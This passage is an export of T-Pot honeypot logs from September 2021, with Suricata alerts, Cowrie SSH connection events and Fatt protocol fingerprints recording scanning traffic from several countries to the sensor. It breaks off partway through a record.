30706	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:37:35.571512+03	2021-09-20 14:45:03.520142+03	{"_id": "dAb_AnwBvYTbRNuERD4N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18757, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 391, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 641448844177688, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42572, "timestamp": "2021-09-20T11:37:35.571512Z", "@timestamp": "2021-09-20T11:37:35.571Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30707	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:35.619645+03	2021-09-20 14:45:03.521142+03	{"_id": "dgb_AnwBvYTbRNuERT4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35448, "dest_port": 443, "timestamp": "2021-09-20T11:37:35.619645", "@timestamp": "2021-09-20T11:37:35.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30713	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:37:35.660024+03	2021-09-20 14:45:03.531142+03	{"_id": "dQb_AnwBvYTbRNuERT4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35448, "timestamp": "2021-09-20T11:37:35.660024", "@timestamp": "2021-09-20T11:37:35.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30708	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:42.00078+03	2021-09-20 14:45:03.523142+03	{"_id": "gQb_AnwBvYTbRNuEdj7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2221696157830093, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 55287, "timestamp": "2021-09-20T11:37:42.000780Z", "@timestamp": "2021-09-20T11:37:42.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30709	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:37:49.440393+03	2021-09-20 14:45:03.524142+03	{"_id": "igb_AnwBvYTbRNuEej7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:37:48.839308+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066596920249996, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56524, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:49.440393Z", "@timestamp": "2021-09-20T11:37:49.440Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
30710	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:37:53.179519+03	2021-09-20 14:45:03.526142+03	{"_id": "oQb_AnwBvYTbRNuEij5m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1615981219678544, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52149, "dest_port": 3389, "timestamp": "2021-09-20T11:37:53.179519Z", "@timestamp": "2021-09-20T11:37:53.179Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30711	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:37:53.571301+03	2021-09-20 14:45:03.527142+03	{"_id": "ogb_AnwBvYTbRNuEij5m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1615981219678544, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52149, "dest_port": 3389, "timestamp": "2021-09-20T11:37:53.571301Z", "@timestamp": "2021-09-20T11:37:53.571Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30714	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:53.232325+03	2021-09-20 14:45:03.532142+03	{"_id": "pQb_AnwBvYTbRNuEij5n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1615981219678544, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 52149, "timestamp": "2021-09-20T11:37:53.232325Z", "@timestamp": "2021-09-20T11:37:53.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30715	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:37:53.179519+03	2021-09-20 14:45:03.534142+03	{"_id": "pgb_AnwBvYTbRNuEiz55", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 52149, "dest_port": 3389, "timestamp": "2021-09-20T11:37:53.179519", "@timestamp": "2021-09-20T11:37:53.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30716	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:37:49.077145+03	2021-09-20 14:45:03.535142+03	{"_id": "hwb_AnwBvYTbRNuEeT4l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:56524 (192.168.176.2:22) [session: 8ab7b0a53d96]", "session": "8ab7b0a53d96", "@version": "1", "protocol": "ssh", "src_port": 56524, "dest_port": 22, "timestamp": "2021-09-20T11:37:49.077145Z", "@timestamp": "2021-09-20T11:37:49.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30717	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:37:49.440866+03	2021-09-20 14:45:03.536142+03	{"_id": "iAb_AnwBvYTbRNuEeT4l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8ab7b0a53d96", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:49.440866Z", "@timestamp": "2021-09-20T11:37:49.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30718	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:37:49.440562+03	2021-09-20 14:45:03.537142+03	{"_id": "iQb_AnwBvYTbRNuEej7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 1066596920249996, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56524, "dest_port": 22, "timestamp": "2021-09-20T11:37:49.440562Z", "@timestamp": "2021-09-20T11:37:49.440Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30719	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:38:10.603353+03	2021-09-20 14:45:03.538141+03	{"_id": "ygb_AnwBvYTbRNuEzD7V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55048, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 356, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1320206150544979, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 52262, "timestamp": "2021-09-20T11:38:10.603353Z", "@timestamp": "2021-09-20T11:38:10.603Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30720	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:38:10.302201+03	2021-09-20 14:45:03.540142+03	{"_id": "ywb_AnwBvYTbRNuEzD7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11575, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 356, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1480661833782959, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48888, "timestamp": "2021-09-20T11:38:10.302201Z", "@timestamp": "2021-09-20T11:38:10.302Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30721	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:38:10.601683+03	2021-09-20 14:45:03.541142+03	{"_id": "zAb_AnwBvYTbRNuEzD7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55048, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1320206150544979, "@version": "1", "in_iface": "enp5s0", "src_port": 52262, "dest_port": 53, "timestamp": "2021-09-20T11:38:10.601683Z", "@timestamp": "2021-09-20T11:38:10.601Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30722	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:10.354112+03	2021-09-20 14:45:03.542142+03	{"_id": "zwb_AnwBvYTbRNuEzT7n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35466, "dest_port": 443, "timestamp": "2021-09-20T11:38:10.354112", "@timestamp": "2021-09-20T11:38:10.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30723	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:38:12.391956+03	2021-09-20 14:45:03.543142+03	{"_id": "3gb_AnwBvYTbRNuE0z4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:51632 (192.168.176.2:22) [session: 316fd6eedf72]", "session": "316fd6eedf72", "@version": "1", "protocol": "ssh", "src_port": 51632, "dest_port": 22, "timestamp": "2021-09-20T11:38:12.391956Z", "@timestamp": "2021-09-20T11:38:12.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30724	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:38:12.395057+03	2021-09-20 14:45:03.545142+03	{"_id": "3wb_AnwBvYTbRNuE0z4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "316fd6eedf72", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:12.395057Z", "@timestamp": "2021-09-20T11:38:12.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30725	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:38:12.567341+03	2021-09-20 14:45:03.546142+03	{"_id": "4Qb_AnwBvYTbRNuE1D6m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 1740432193375885, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51632, "dest_port": 22, "timestamp": "2021-09-20T11:38:12.567341Z", "@timestamp": "2021-09-20T11:38:12.567Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30726	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:38:12.567435+03	2021-09-20 14:45:03.547145+03	{"_id": "4wb_AnwBvYTbRNuE1T65", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 